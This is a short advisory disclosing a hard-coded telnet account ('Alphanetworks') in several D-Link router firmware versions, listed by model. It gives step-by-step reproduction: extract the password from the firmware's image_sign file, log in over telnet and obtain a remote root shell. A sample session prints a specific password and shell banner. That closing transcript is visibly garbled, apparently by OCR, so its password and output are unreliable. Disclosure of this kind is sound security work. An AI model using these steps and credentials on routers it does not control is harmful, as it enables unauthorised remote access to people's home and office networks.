A hard coded telnet user was discovered in multiple Dlink routers.

@chandlerchen, @ladinas, @testertlng

Affected versions:

Dlink DIR-600 B1 V2.01 for WW

DIR-615 J1 FW v100 (for DCN)
DIR-645_A1_FW:v1.03
DIR-815 A1 FW v1.01
DIR-823_A1v1.01

DIR-842 C1 FW v3.00
DIR-890L A1 FW v1.03

Steps to reproduce:

For exploitation, the vulnerability could be reproduced with the following steps:

0. Decompress the firmbin with binwalk and get the hard coded telnet password from

/etc/config/image_sign or /etc/alpha_config/image_sign

1. Telnet service would start listening on port 23 port on boot.

2. Use the hard coded

user

(Alphanetworks) and password (which locates

/etc/config/image_sign or /etc/alpha_config/image_sign) to login.

3. Attacker can get a remote /bin/sh shell and execute commands.

B8 Telnet 192.168.0.1
login: Alphanetworks
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Password: wrgndB_dlwbr_dir6i5j

BusyBox vi1.81 {(2086.10.82-68:16+AABA> Built—in shell {(msh)
Enter ‘help’ for a list of built—in commands.
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